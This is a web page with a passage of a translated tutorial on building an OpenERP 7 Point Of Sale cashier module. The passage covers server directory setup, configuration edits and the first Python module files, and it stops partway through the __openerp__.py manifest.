<li><a class="summaryIndent0" href="http://www.blogger.com/blogger.g?blogID=6934446466784817478#LIV">IV. Necessary tools</a></li>
<li><a class="summaryIndent0" href="http://www.blogger.com/blogger.g?blogID=6934446466784817478#LV">V. Stages of completion</a></li>
<li><a class="summaryIndent0" href="http://www.blogger.com/blogger.g?blogID=6934446466784817478#LVI">VI. Module structure</a></li>
<li><a class="summaryIndent0" href="http://www.blogger.com/blogger.g?blogID=6934446466784817478#LVII">VII. Creation of a basic OpenERP module</a><ul class="nav-sommaire-ul IndentationVII">
<li><a class="summaryIndent1" href="http://www.blogger.com/blogger.g?blogID=6934446466784817478#LVII-A">VII-A. Creation of the directories</a></li>
<li><a class="summaryIndent1" href="http://www.blogger.com/blogger.g?blogID=6934446466784817478#LVII-B">VII-B. Required Python files</a><ul class="nav-sommaire-ul IndentationVII-B">
<li><a class="summaryIndent2" href="http://www.blogger.com/blogger.g?blogID=6934446466784817478#LVII-B-1">VII-B-1. The __init__.py file</a></li>
<li><a class="summaryIndent2" href="http://www.blogger.com/blogger.g?blogID=6934446466784817478#LVII-B-2">VII-B-2. The __openerp__.py file</a></li>
<li><a class="summaryIndent2" href="http://www.blogger.com/blogger.g?blogID=6934446466784817478#LVII-B-3">VII-B-3. The pos_cashier.py file</a><ul class="nav-sommaire-ul IndentationVII-B-3">
<li><a class="summaryIndent3" href="http://www.blogger.com/blogger.g?blogID=6934446466784817478#LVII-B-3-a">VII-B-3-a. Statements</a></li>
<li><a class="summaryIndent3" href="http://www.blogger.com/blogger.g?blogID=6934446466784817478#LVII-B-3-b">VII-B-3-b. Overload pos.order object of Point Of Sale</a></li>
</ul>
</li>
<li><a class="summaryIndent2" href="http://www.blogger.com/blogger.g?blogID=6934446466784817478#LVII-B-4">VII-B-4. cashier_view.xml file</a><ul class="nav-sommaire-ul IndentationVII-B-4">
<li><a class="summaryIndent3" href="http://www.blogger.com/blogger.g?blogID=6934446466784817478#LVII-B-4-a">VII-B-4-a. The form view</a></li>
<li><a class="summaryIndent3" href="http://www.blogger.com/blogger.g?blogID=6934446466784817478#LVII-B-4-b">VII-B-4-b. The Tree view</a></li>
<li><a class="summaryIndent3" href="http://www.blogger.com/blogger.g?blogID=6934446466784817478#LVII-B-4-c">VII-B-4-c. The search view</a></li>
<li><a class="summaryIndent3" href="http://www.blogger.com/blogger.g?blogID=6934446466784817478#LVII-B-4-d">VII-B-4-d. The Cashiers menu</a></li>
<li><a class="summaryIndent3" href="http://www.blogger.com/blogger.g?blogID=6934446466784817478#LVII-B-4-e">VII-B-4-e. The action of the menu</a></li>
</ul>
</li>
<li><a class="summaryIndent2" href="http://www.blogger.com/blogger.g?blogID=6934446466784817478#LVII-B-5">VII-B-5. The order_cashier_view.xml file</a><ul class="nav-sommaire-ul IndentationVII-B-5">
<li><a class="summaryIndent3" href="http://www.blogger.com/blogger.g?blogID=6934446466784817478#LVII-B-5-a">VII-B-5-a. The form view</a></li>
<li><a class="summaryIndent3" href="http://www.blogger.com/blogger.g?blogID=6934446466784817478#LVII-B-5-b">VII-B-5-b. The Tree View</a></li>
</ul>
</li>
</ul>
</li>
<li><a class="summaryIndent1" href="http://www.blogger.com/blogger.g?blogID=6934446466784817478#LVII-C">VII-C. Security Settings of the module</a><ul class="nav-sommaire-ul IndentationVII-C">
<li><a class="summaryIndent2" href="http://www.blogger.com/blogger.g?blogID=6934446466784817478#LVII-C-1">VII-C-1. Access Rights</a></li>
<li><a class="summaryIndent2" href="http://www.blogger.com/blogger.g?blogID=6934446466784817478#LVII-C-2">VII-C-2. Record rules</a></li>
</ul>
</li>
<li><a class="summaryIndent1" href="http://www.blogger.com/blogger.g?blogID=6934446466784817478#LVII-D">VII-D. Add an icon to the module</a></li>
<li><a class="summaryIndent1" href="http://www.blogger.com/blogger.g?blogID=6934446466784817478#LVII-E">VII-E. End of the basic OpenERP module</a></li>
</ul>
</li>
<li><a class="summaryIndent0" href="http://www.blogger.com/blogger.g?blogID=6934446466784817478#LVIII">VIII. Creation of the Web module for the Point Of Sale</a><ul class="nav-sommaire-ul IndentationVIII">
<li><a class="summaryIndent1" href="http://www.blogger.com/blogger.g?blogID=6934446466784817478#LVIII-A">VIII-A. The pos_cashier.js file</a><ul class="nav-sommaire-ul IndentationVIII-A">
<li><a class="summaryIndent2" href="http://www.blogger.com/blogger.g?blogID=6934446466784817478#LVIII-A-1">VIII-A-1. openerp_pos_cashier() function</a></li>
<li><a class="summaryIndent2" href="http://www.blogger.com/blogger.g?blogID=6934446466784817478#LVIII-A-2">VIII-A-2. The CashierWidget module</a></li>
<li><a class="summaryIndent2" href="http://www.blogger.com/blogger.g?blogID=6934446466784817478#LVIII-A-3">VIII-A-3. The CashierPayScreenWidget module</a></li>
<li><a class="summaryIndent2" href="http://www.blogger.com/blogger.g?blogID=6934446466784817478#LVIII-A-4">VIII-A-4. The CashierReceiptScreenWidget module</a></li>
<li><a class="summaryIndent2" href="http://www.blogger.com/blogger.g?blogID=6934446466784817478#LVIII-A-5">VIII-A-5. GoToPayWidget module</a></li>
<li><a class="summaryIndent2" href="http://www.blogger.com/blogger.g?blogID=6934446466784817478#LVIII-A-6">VIII-A-6. GoToPayButtonWidget module (Pay button)</a></li>
<li><a class="summaryIndent2" href="http://www.blogger.com/blogger.g?blogID=6934446466784817478#LVIII-A-7">VIII-A-7. Order module</a></li>
<li><a class="summaryIndent2" href="http://www.blogger.com/blogger.g?blogID=6934446466784817478#LVIII-A-8">VIII-A-8. The best for last</a></li>
</ul>
</li>
<li><a class="summaryIndent1" href="http://www.blogger.com/blogger.g?blogID=6934446466784817478#LVIII-B">VIII-B. the pos_cashier.xml file</a><ul class="nav-sommaire-ul IndentationVIII-B">
<li><a class="summaryIndent2" href="http://www.blogger.com/blogger.g?blogID=6934446466784817478#LVIII-B-1">VIII-B-1. The dropdown cashiers</a></li>
</ul>
</li>
<li><a class="summaryIndent1" href="http://www.blogger.com/blogger.g?blogID=6934446466784817478#LVIII-C">VIII-C. pos_cashier.css file</a></li>
</ul>
</li>
<li><a class="summaryIndent0" href="http://www.blogger.com/blogger.g?blogID=6934446466784817478#LIX">IX. Installation of the module</a></li>
<li><a class="summaryIndent0" href="http://www.blogger.com/blogger.g?blogID=6934446466784817478#LX">X. Internationalisation</a></li>
<li><a class="summaryIndent0" href="http://www.blogger.com/blogger.g?blogID=6934446466784817478#LXI">XI. Conclusion</a></li>
<li><a class="summaryIndent0" href="http://www.blogger.com/blogger.g?blogID=6934446466784817478#LXII">XII. Download module</a></li>
<li><a class="summaryIndent0" href="http://www.blogger.com/blogger.g?blogID=6934446466784817478#LXIII">XIII. Thanks</a></li>
</ul>
</nav>
<br />
<div class="fixeMarge">
<br />
<section class="SectionBookmarks">
This tutorial aims to show you how to create a module for OpenERP Point Of Sale from A to Z. You will learn to create a basic OpenERP module with its icon, manage access rights and registration rules, create a menu, modify the Point Of Sale by adding a drop-down list, put the name of the cashier on the receipt and finally make the translation files of the module<br />
<br /><div class="InfoBookmarks">
<a href="http://www.viadeo.com/shareit/share/?url=http%3A%2F%2Fthierry-godin.developpez.com%2Fopenerp%2Ftutorial-module-creation-pos-modification-english-version%2F&Title=OpenERP+Tutorial%3A+Module+creation+and+modification+of+the+Point+Of+Sale" rel="nofollow" title="Viadeo"><img alt="Viadeo" src="http://www.developpez.com/template/kit/kitbm-viadeo.gif" /></a> <a href="http://twitter.com/timeline/home?status=http%3A%2F%2Fthierry-godin.developpez.com%2Fopenerp%2Ftutorial-module-creation-pos-modification-english-version%2F" rel="nofollow" title="Twitter"><img alt="Twitter" src="http://www.developpez.com/template/kit/kitbm-twitter.png" /></a> <a href="http://www.google.com/bookmarks/mark?op=edit&bkmk=http%3A%2F%2Fthierry-godin.developpez.com%2Fopenerp%2Ftutorial-module-creation-pos-modification-english-version%2F&title=OpenERP+Tutorial%3A+Module+creation+and+modification+of+the+Point+Of+Sale" rel="nofollow" title="Google Bookmarks !"><img alt="Google Bookmarks !" src="http://www.developpez.com/template/kit/kitbm-google.png" /></a> <a href="http://www.facebook.com/sharer.php?u=http%3A%2F%2Fthierry-godin.developpez.com%2Fopenerp%2Ftutorial-module-creation-pos-modification-english-version%2F" rel="nofollow" title="Facebook"><img alt="Facebook" src="http://www.developpez.com/template/kit/kitbm-facebook.gif" /></a> <a href="http://digg.com/submit?phase=2&url=http%3A%2F%2Fthierry-godin.developpez.com%2Fopenerp%2Ftutorial-module-creation-pos-modification-english-version%2F&title=OpenERP+Tutorial%3A+Module+creation+and+modification+of+the+Point+Of+Sale" rel="nofollow" title="Digg"><img alt="Digg" src="http://www.developpez.com/template/kit/kitbm-digg.png" /></a> <a href="http://del.icio.us/post?url=http%3A%2F%2Fthierry-godin.developpez.com%2Fopenerp%2Ftutorial-module-creation-pos-modification-english-version%2F&title=OpenERP+Tutorial%3A+Module+creation+and+modification+of+the+Point+Of+Sale" rel="nofollow" title="del.icio.us"><img alt="del.icio.us" src="http://www.developpez.com/template/kit/kitbm-delicious.png" /></a> <a href="http://myweb2.search.yahoo.com/myresults/bookmarklet?t=OpenERP+Tutorial%3A+Module+creation+and+modification+of+the+Point+Of+Sale&u=http%3A%2F%2Fthierry-godin.developpez.com%2Fopenerp%2Ftutorial-module-creation-pos-modification-english-version%2F" rel="nofollow" title="Yahoo MyWeb"><img alt="Yahoo MyWeb" src="http://www.developpez.com/template/kit/kitbm-yahoomyweb.png" /></a> <a href="http://www.blinklist.com/index.php?Action=Blink/addblink.php&Url=http%3A%2F%2Fthierry-godin.developpez.com%2Fopenerp%2Ftutorial-module-creation-pos-modification-english-version%2F&Title=OpenERP+Tutorial%3A+Module+creation+and+modification+of+the+Point+Of+Sale" rel="nofollow" title="Blinklist"><img alt="Blinklist" src="http://www.developpez.com/template/kit/kitbm-blinklist.png" /></a> <a href="http://www.netvouz.com/action/submitBookmark?url=http%3A%2F%2Fthierry-godin.developpez.com%2Fopenerp%2Ftutorial-module-creation-pos-modification-english-version%2F&title=OpenERP+Tutorial%3A+Module+creation+and+modification+of+the+Point+Of+Sale" rel="nofollow" title="Netvouz"><img alt="Netvouz" src="http://www.developpez.com/template/kit/kitbm-netvouz.png" /></a> <a href="http://reddit.com/submit?url=http%3A%2F%2Fthierry-godin.developpez.com%2Fopenerp%2Ftutorial-module-creation-pos-modification-english-version%2F&title=OpenERP+Tutorial%3A+Module+creation+and+modification+of+the+Point+Of+Sale" rel="nofollow" title="Reddit"><img alt="Reddit" src="http://www.developpez.com/template/kit/kitbm-reddit.png" /></a> <a href="http://simpy.com/simpy/LinkAdd.do?note=OpenERP+Tutorial%3A+Module+creation+and+modification+of+the+Point+Of+Sale&href=http%3A%2F%2Fthierry-godin.developpez.com%2Fopenerp%2Ftutorial-module-creation-pos-modification-english-version%2F" rel="nofollow" title="Simpy"><img alt="Simpy" src="http://www.developpez.com/template/kit/kitbm-simpy.png" /></a> <a href="http://www.stumbleupon.com/submit?url=http%3A%2F%2Fthierry-godin.developpez.com%2Fopenerp%2Ftutorial-module-creation-pos-modification-english-version%2F&title=OpenERP+Tutorial%3A+Module+creation+and+modification+of+the+Point+Of+Sale" rel="nofollow" title="StumbleUpon"><img alt="StumbleUpon" src="http://www.developpez.com/template/kit/kitbm-stumbleupon.png" /></a> <a href="http://www.bookmarks.fr/Connexion/?action=add&address=http%3A%2F%2Fthierry-godin.developpez.com%2Fopenerp%2Ftutorial-module-creation-pos-modification-english-version%2F" rel="nofollow" title="Bookmarks"><img alt="Bookmarks" src="http://www.developpez.com/template/kit/kitbm-bookmarks.gif" /></a> <a false="" href="https://plus.google.com/share?url=http%3A%2F%2Fthierry-godin.developpez.com%2Fopenerp%2Ftutorial-module-creation-pos-modification-english-version%2F%20onclick=" javascript:window.open="" menubar="no,toolbar=no,resizable=yes,scrollbars=yes,height=600,width=600" return="" this.href=""><img alt="Share on Google+" src="https://www.gstatic.com/images/icons/gplus-16.png" /></a> </div>
</section></div>
<div class="InfoAuthArtBook">
</div>
<br />
<section class="articleBody" itemprop="articleBody">
<h1 class="TitreSection0" id="LI">
I. Introduction<a class="HautPage" href="http://www.blogger.com/blogger.g?blogID=6934446466784817478#" title="Haut de page">▲</a></h1>
<div class="BlocSection0">
<div class="imgtext-warning">
<b>WARNING</b><br />
<br />
My native language is french. I have some basic knowledge of english language, thus I translated the tutorial by myself and sometimes by the use of a famous translation service, so I hope the whole text is easily understandable.<br /> <br />
Thank you for reading
</div>
OpenERP programming is a rather complicated task. It is necessary to know several programming languages and you must also have a good idea of how OpenERP does work.<br />
The documentation is quite limited and very brief. There are very few forums or specialized blogs about OpenERP, and almost all are in English.<br />
The few tutorials found on the Web are limited to specific problems.<br />
They do not fully achieve a complex module, they just allow you to add a button or function somewhere. It's not enough.<br />
The tutorial that I propose is the result of hundreds of hours of learning everything I could find in the official documentation and on the Web, as well as number of lines of code, of countless tests, bugs and other gaieties. You know what I mean...<br />
This is due to a request from a customer that I had the mission to make a module that will allow the creation of cashiers for the Point Of Sale.<br /><br /><b>The context</b><br />
OpenERP is installed on a Debian server. The client sells products through franchises. Each society can access to OpenERP, which is configured with <b>Multi-Company</b> feature.<br />
Each company has a PC in its location that is connected to the Point of Sale. And each company has several cashiers as employees.<br /><br /><b>Customer demand</b><br />
How could we make purchases with the Point Of Sale on the same computer (PC) without having to create a session each time a cashier wants to make a sale?<br /><br />
Point Of Sale actually allows to make sales with several seller. To do this, simply create users in the company, put them in the <b>Point Of Sale/User</b> Group and assign them a Point Of Sale and voila.<br />
But each seller must then log in to make the sale.<br /><br />
These functions, however, native, did not suit the customer needs.<br /><br />
So I made a module that allows to create a different kind of users, <b>the cashiers</b>. You'll see later that this is not very complicated. <br />
Where it gets complicated is the part of the module, (<b>The Web module</b>), which operates in the Point Of Sale, and which allows to open only one session in the morning, make sales by several cashiers without leaving the Point Of Sale, and thus prevent to close close the previous session to open a new one.<br /><br /><b>Finally, the last statement of the customer:</b> the cashier is required. The sale must not be possible if the Point Of Sale has no cashiers.<br /><br />
Here is what it is.<br />
I will show you the steps that will help you for the creation of your own modules.<br />
The source code certainly needs some improvements and optimizations, do not hesitate to share your comments, it will also help me to move further into the intricacies of the OpenERP programming.</div>
<h1 class="TitreSection0" id="LII">
II. Requirements<a class="HautPage" href="http://www.blogger.com/blogger.g?blogID=6934446466784817478#" title="Haut de page">▲</a></h1>
<div class="BlocSection0">
To go with this tutorial, you need a good knowledge of programming languages used in OpenERP :<br />
<ul class="ListeDVP">
<li>Python ;</li>
<li>XML ;</li>
<li>JavaScript ;</li>
<li>Qweb/JQuery ;</li>
<li>Linux command line</li>
</ul>
</div>
<h1 class="TitreSection0" id="LIII">
III. Basics<a class="HautPage" href="http://www.blogger.com/blogger.g?blogID=6934446466784817478#" title="Haut de page">▲</a></h1>
<div class="BlocSection0">
To make it short, we can say that the making of a conventional module is done in three steps.:<br />
<ul class="ListeDVP">
<li>The creation of the initialization file of the module.</li>
<li>The creation of the Python Object.</li>
<li>The creation of the XML view.</li>
</ul>
Regarding the Point Of Sale, it is a « Web » module. When you login to the Point Of Sale, OpenERP disapears and the Point Of Sale interface appears. You must then close the Point Of Sale to return to OpenERP.<br /><br />
This is a special case which will require additional programming steps. The POS is not integrated with OpenERP, so its entire Web interface will keep our attention.</div>
<h1 class="TitreSection0" id="LIV">
IV. Necessary tools<a class="HautPage" href="http://www.blogger.com/blogger.g?blogID=6934446466784817478#" title="Haut de page">▲</a></h1>
<div class="BlocSection0">
Here are the softwares I use, feel free to use them or find similar softwares.<br />
<ul class="ListeDVP">
<li><a class=" tooltip blue-tooltip lienArticle En" href="http://winscp.net/eng/docs/lang:fr" target="_blank">WinSCPWinSCP</a> : SFTP/FTP client, very pleasant to use, and allows to easily navigate through the file tree.</li>
<li><a class=" tooltip blue-tooltip lienArticle Fr" href="http://www.putty.org/" target="_blank">PuTTYPuTTY</a> : Telnet / SSH client that will run Linux commands on the server (WinSCP also allows, but with some limitations)</li>
<li><a class=" tooltip blue-tooltip lienArticle En" href="http://www.sublimetext.com/" target="_blank">SublimeSublime</a> : a very well made text editor. It is aptly named.</li>
<li><a class=" tooltip blue-tooltip lienArticle En" href="http://www.mozilla.org/en-US/" target="_blank">FirefoxFirefox</a> with <a class=" tooltip blue-tooltip lienArticle En" href="https://addons.mozilla.org/fr/firefox/addon/firebug/" target="_blank">FirebugFirebug</a> extension. Essential for JavaScript debugging.</li>
</ul>
OpenERP is installed on a Debian server (Dev one). I'm working on a PC running Windows 7 pro.<br />
<b>Configure WinSCP</b><br />
We will configure WinSCP for it opens directly with your favorite code editor when you double-click a file.<br />
<ul class="ListeDVP">
<li>Launch WinSCP.</li>
<li>Go to <b>See </b>menu, then <b>Settings</b>.</li>
<li>In the dialog form, click on <b>Editor</b> in the left column.</li>
<li>In the frame <b>Editors preferences</b>, click <b>Add</b>.</li>
<li>In the dialog box, clik <b>External editor</b> then select the exe file of your text editor.</li>
<li>In <b>Use this editor for following files,</b> select filter <b>*.*</b> (all files).</li>
<li>Validate.</li>
</ul>
<div class="imgtext-info">
In this tutorial, we assume that OpenERP is installed on a Linux/Debian server and that we are working on a Windows PC.<br /><b>I have installed OpenERP Version 7.0-20130703-231023</b> (version therefore dated 03 July 2013).<br />
If you are working directly on the server, you will adapt the guidelines relating to the server administration (files, rights, etc..). The construction of the module remains the same.</div>
</div>
<h1 class="TitreSection0" id="LV">
V. Stages of completion<a class="HautPage" href="http://www.blogger.com/blogger.g?blogID=6934446466784817478#" title="Haut de page">▲</a></h1>
<div class="BlocSection0">
<b>Creation of OpenERP internal module</b> <br />
<ul class="ListeDVP">
<li>Creation of the module initialization file .</li>
<li>Creation of the file that contains Python Object</li>
<li>creation of the views (Form view, Tree view).</li>
<li>Creation of a menu for the POS/Manager users group</li>
<li>Creation of the access rights for the module</li>
<li>Creation of the recording rules</li>
<li>Creation of the icon </li>
</ul>
<b>Creation of the Point Of Sale module</b>
<br />
<ul class="ListeDVP">
<li>Creation of the JavaScript file that contains module's actions and functions</li>
<li>Creation of the GUI elements (drop-down list, labels, etc.) in a XML file</li>
<li>Creation of the style file *.css for the design of the elements</li>
</ul>
<b>Module internationalization</b> <br />
<ul class="ListeDVP">
<li>Creation of the language template (*.pot)</li>
<li>Creation of the french tanslated file (*.po)</li>
</ul>
<div class="imgtext-warning">
<b>Warning</b> : <br />
In this tutorial, Point Of Sale may be called <b>POS</b><br />
Source code will be written in english, but texts and labels will be translated later<br />
The module is called <b>pos_cashier</b>.</div>
<b>Once completed, the POS Cashiers Module will appear in the list of installed modules, like in the image below</b> <br />
<br />
<figure class="TextAlign-center"><a data-rel="lightbox[article]" href="http://www.blogger.com/images/modules_config_pos_cashier.jpg"><img alt="The pos_cashier module installed" class="ImgCliquable" height="204px" src="./images/modules_config_pos_cashier.jpg" width="550px" /></a><figcaption>The pos_cashier module installed</figcaption></figure>
<br />
<div class="imgtext-info">
<b>Warning</b> <br />
The tutorial may seem very long, but I tried to dissect all stages of the implementation of a module and I also tried to explain as best as I could all the source code and the various files that compose the module</div>
</div>
<h1 class="TitreSection0" id="LVI">
VI. Module structure<a class="HautPage" href="http://www.blogger.com/blogger.g?blogID=6934446466784817478#" title="Haut de page">▲</a></h1>
<div class="BlocSection0">
Here is the file-tree of the <b>pos_cashier </b>module<br />
<br />
<figure class="TextAlign-center"><a data-rel="lightbox[article]" href="http://www.blogger.com/images/pos_cashier_tree.jpg"><img alt="pos_cashier file tree" class="ImgCliquable" height="315px" src="./images/pos_cashier_tree.jpg" width="550px" /></a><figcaption>pos_cashier file tree</figcaption></figure>
<br />
<b><span style="color: red;">i18n</span> directory :</b><br />
Contains the internationalization files of the module. <br /><br /><b><span style="color: red;">security</span> directory :</b><br />
Contains the access control file and recording rules file. <br /><br /><b><span style="color: red;">static</span> directory :</b><br />
Contains the « Web » part of the module. <br /><br />
It contains the <b><span style="color: red;">css</span></b> directory that will host the stylesheet, the <b><span style="color: red;">img</span></b> directory that will host the icon of the module and the requiered pictures, the <b><span style="color: red;">js</span></b> directory that will host the JavaScript file and the <b><span style="color: red;">xml</span></b> directory that will host the views of the module. <br /><br />
Also , at the root of the module, there is the Python module and the XML views.</div>
<h1 class="TitreSection0" id="LVII">
VII. Creation of a basic OpenERP module<a class="HautPage" href="http://www.blogger.com/blogger.g?blogID=6934446466784817478#" title="Haut de page">▲</a></h1>
<div class="BlocSection0">
First, we will achieve the module that will allow the creation of the cashiers within OpenERP. The Web part of the module (which is in POS) will be discussed later.<br />
<h2 class="TitreSection1" id="LVII-A">
VII-A. Creation of the directories<a class="HautPage" href="http://www.blogger.com/blogger.g?blogID=6934446466784817478#" title="Haut de page">▲</a></h2>
<div class="BlocSection1">
The OpenERP modules are usually placed in the « addons » directory, but I recommend that you create a special directory (outside OpenERP) where you will place your own modules.<br />
For the tutorial, we will create a <b>modules-openerp</b> directory in the <b>/opt</b> directory on your server.<br /><br />
Log in with WinSCP (as root) and connect to your dev server.<br />Navigate to the <b>/opt</b> directory and create a new folder. Name it <b>modules-openerp</b>.<br />
Log in using PuTTY (from WinSCP) and enter the following commands:<br />
<div class="code_et_titre">
<div class="titre_des_codes" id="IdTitreCode-d0e558">
Modify owner and rights<br />
<div class="selectionner_code">
<span class="selectionner_code LienSelectionne" id="code-d0e558" onclick="selectionCode('contenuCoded0e558');">Sélectionnez</span></div>
</div>
<pre class="code_uniquement" style="overflow: auto;"><code class="contenuCode" id="contenuCoded0e558">cd /opt [+Enter]
chown openerp:openerp ./modules-openerp [+Enter]
chmod <code class="shell_digit">0755</code> ./modules-openerp [+Enter]
</code></pre>
</div>
We assigned the<b> /opt/modules-openerp</b> directory to the user <b>openerp</b> and the group <b>openerp</b>, then we changed the rights.<br /><br />
For our future modules to be taken into account by OpenERP, we have to modify the server configuration file and add the path to our directory.<br />
<b>Modify openerp-server.conf file</b>
<br />
<ul class="ListeDVP">
<li>In WinSCP, go to <b>/etc.</b></li>
<li>Depending on the version, the <b>openerp-server.conf</b> file can be found in <b>/etc </b>or <b>/etc /openerp</b>.</li>
<li>Double-click the file to edit.</li>
<li>Change the line below by adding the full path to the modules directory that we have just created.</li>
</ul>
<div class="code_et_titre">
<div class="titre_des_codes" id="IdTitreCode-d0e611">
openerp-server.conf<br />
<div class="selectionner_code">
<span class="selectionner_code LienSelectionne" id="code-d0e611" onclick="selectionCode('contenuCoded0e611');">Sélectionnez</span></div>
</div>
<pre class="code_uniquement" style="overflow: auto;"><code class="contenuCode" id="contenuCoded0e611">addons_path = /opt/openerp/addons,/opt/openerp/server/openerp/addons,/opt/openerp/web/addons,/opt/modules-openerp
</code></pre>
</div>
If this line does not exist, add it by putting only the path to your directory.<br />
There may be many paths to directories. They must be separated by a comma.<br />
Save and close the file.<br />
Restart the server using the following command<br />
<div class="code_et_titre">
<div class="titre_des_codes" id="IdTitreCode-d0e624">
Restart OpenERP<br />
<div class="selectionner_code">
<span class="selectionner_code LienSelectionne" id="code-d0e624" onclick="selectionCode('contenuCoded0e624');">Sélectionnez</span></div>
</div>
<pre class="code_uniquement" style="overflow: auto;"><code class="contenuCode" id="contenuCoded0e624">/etc/init.d/openerp-server restart [+Enter]
</code></pre>
</div>
Make sure the server is started by opening a Web page with the corresponding URL<br />
<blockquote class="citation">
<div>
<b><span style="color: blue;">http://IP_OF_YOUR_SERVER:8069</span> </b>
</div>
</blockquote>
Then create different directories within the <b>modules-openerp </b>directory<br />
<ul class="ListeDVP">
<li><b>pos_cashier</b> <ul class="ListeDVP">
<li><b>i18n</b> </li>
<li><b>security</b> </li>
<li><b>static</b> <ul class="ListeDVP">
<li><b>src</b> <ul class="ListeDVP">
<li><b>css</b> </li>
<li><b>img</b> </li>
<li><b>js</b> </li>
<li><b>xml</b> </li>
</ul>
</li>
</ul>
</li>
</ul>
</li>
</ul>
Then change the user, group and rights with the following command<br />
<div class="code_et_titre">
<div class="titre_des_codes" id="IdTitreCode-d0e691">
Modify owner and rights<br />
<div class="selectionner_code">
<span class="selectionner_code LienSelectionne" id="code-d0e691" onclick="selectionCode('contenuCoded0e691');">Sélectionnez</span></div>
</div>
<pre class="code_uniquement" style="overflow: auto;"><code class="contenuCode" id="contenuCoded0e691">cd /opt [+Enter]
chown openerp:openerp ./modules-openerp -R [+Enter]
chmod <code class="shell_digit">0755</code> ./modules-openerp -R [+Enter]
</code></pre>
</div>
</div>
<h2 class="TitreSection1" id="LVII-B">
VII-B. Required Python files<a class="HautPage" href="http://www.blogger.com/blogger.g?blogID=6934446466784817478#" title="Haut de page">▲</a></h2>
<div class="BlocSection1">
There are three mandatory files when you create a module.<br />
<ul class="ListeDVP">
<li>
<b><span style="color: red;">__init__.py</span> </b>
</li>
<li>
<b><span style="color: red;">__openerp__.py</span> </b>
</li>
<li>
<b><span style="color: red;">our_famous_module.py</span> </b>
</li>
</ul>
<h3 class="TitreSection2" id="LVII-B-1">
VII-B-1. The __init__.py file<a class="HautPage" href="http://www.blogger.com/blogger.g?blogID=6934446466784817478#" title="Haut de page">▲</a></h3>
<div class="BlocSection2">
This is the file that will invite OpenERP to load our module.<br />
The contents of this file is very simple:<br />
<div class="code_et_titre">
<div class="titre_des_codes" id="IdTitreCode-d0e743">
__init__.py<br />
<div class="selectionner_code">
<span class="selectionner_code LienSelectionne" id="code-d0e743" onclick="selectionCode('contenuCoded0e743');">Sélectionnez</span></div>
</div>
<pre class="code_uniquement" style="overflow: auto;"><code class="contenuCode" id="contenuCoded0e743"><code class="python_keyword1">import</code> pos_cashier
</code></pre>
</div>
Put the name of the module. It is also the name of the directory.</div>
<h3 class="TitreSection2" id="LVII-B-2">
VII-B-2. The __openerp__.py file<a class="HautPage" href="http://www.blogger.com/blogger.g?blogID=6934446466784817478#" title="Haut de page">▲</a></h3>
<div class="BlocSection2">
<a href="http://www.blogger.com/null" id="openerppy"> </a>
<br />
This is the file that contains all the information about the module : name, version, category, description, files to load, etc.<br />
<div class="code_et_titre">
<div class="titre_des_codes" id="IdTitreCode-d0e762">
__openerp__.py<br />
<div class="selectionner_code">
<span class="selectionner_code LienSelectionne" id="code-d0e762" onclick="selectionCode('contenuCoded0e762');">Sélectionnez</span></div>
</div>
<pre class="code_uniquement" style="overflow: auto;"><code class="contenuCode" id="contenuCoded0e762"><code class="python_comment1">#</code><code class="python_comment1"> </code><code class="python_comment1">-*-</code><code class="python_comment1"> </code><code class="python_comment1">coding:</code><code class="python_comment1"> </code><code class="python_comment1">utf-8</code><code class="python_comment1"> </code><code class="python_comment1">-*-</code>
{
<code class="python_literal1">'</code><code class="python_literal1">name</code><code class="python_literal1">'</code>: <code class="python_literal1">'</code><code class="python_literal1">POS</code><code class="python_literal1"> </code><code class="python_literal1">Cashiers</code><code class="python_literal1">'</code>,
<code class="python_literal1">'</code><code class="python_literal1">version</code><code class="python_literal1">'</code>: <code class="python_literal1">'</code><code class="python_literal1">1</code><code class="python_literal1">.</code><code class="python_literal1">0</code><code class="python_literal1">.</code><code class="python_literal1">0</code><code class="python_literal1">'</code>,
<code class="python_literal1">'</code><code class="python_literal1">category</code><code class="python_literal1">'</code>: <code class="python_literal1">'</code><code class="python_literal1">Point</code><code class="python_literal1"> </code><code class="python_literal1">Of</code><code class="python_literal1"> </code><code class="python_literal1">Sale</code><code class="python_literal1">'</code>,
<code class="python_literal1">'</code><code class="python_literal1">sequence</code><code class="python_literal1">'</code>: <code class="python_digit">3</code>,
<code class="python_literal1">'</code><code class="python_literal1">author</code><code class="python_literal1">'</code>: <code class="python_literal1">'</code><code class="python_literal1">Thierry</code><code class="python_literal1"> </code><code class="python_literal1">Godin</code><code class="python_literal1">'</code>,
<code class="python_literal1">'</code><code class="python_literal1">summary</code><code class="python_literal1">'</code>: <code class="python_literal1">'</code><code class="python_literal1">Manage</code><code class="python_literal1"> </code><code class="python_literal1">cashiers</code><code class="python_literal1"> </code><code class="python_literal1">for</code><code class="python_literal1"> </code><code class="python_literal1">Point</code><code class="python_literal1"> </code><code class="python_literal1">Of</code><code class="python_literal1"> </code><code class="python_literal1">Sale</code><code class="python_literal1">'</code>,
<code class="python_literal1">'</code><code class="python_literal1">description</code><code class="python_literal1">'</code>: <code class="python_literal2">"""</code>
<code class="python_literal2">Manage</code><code class="python_literal2"> </code><code class="python_literal2">several</code><code class="python_literal2"> </code><code class="python_literal2">cashiers</code><code class="python_literal2"> </code><code class="python_literal2">for</code><code class="python_literal2"> </code><code class="python_literal2">each</code><code class="python_literal2"> </code><code class="python_literal2">Point</code><code class="python_literal2"> </code><code class="python_literal2">Of</code><code class="python_literal2"> </code><code class="python_literal2">Sale</code>
<code class="python_literal2">=</code><code class="python_literal2">=</code><code class="python_literal2">=</code><code class="python_literal2">=</code><code class="python_literal2">=</code><code class="python_literal2">=</code><code class="python_literal2">=</code><code class="python_literal2">=</code><code class="python_literal2">=</code><code class="python_literal2">=</code><code class="python_literal2">=</code><code class="python_literal2">=</code><code class="python_literal2">=</code><code class="python_literal2">=</code><code class="python_literal2">=</code><code class="python_literal2">=</code><code class="python_literal2">=</code><code class="python_literal2">=</code><code class="python_literal2">=</code><code class="python_literal2">=</code><code class="python_literal2">=</code><code class="python_literal2">=</code><code class="python_literal2">=</code><code class="python_literal2">=</code><code class="python_literal2">=</code><code class="python_literal2">=</code><code class="python_literal2">=</code><code class="python_literal2">=</code><code class="python_literal2">=</code><code class="python_literal2">=</code><code class="python_literal2">=</code><code class="python_literal2">=</code><code class="python_literal2">=</code><code class="python_literal2">=</code><code class="python_literal2">=</code><code class="python_literal2">=</code><code class="python_literal2">=</code><code class="python_literal2">=</code>
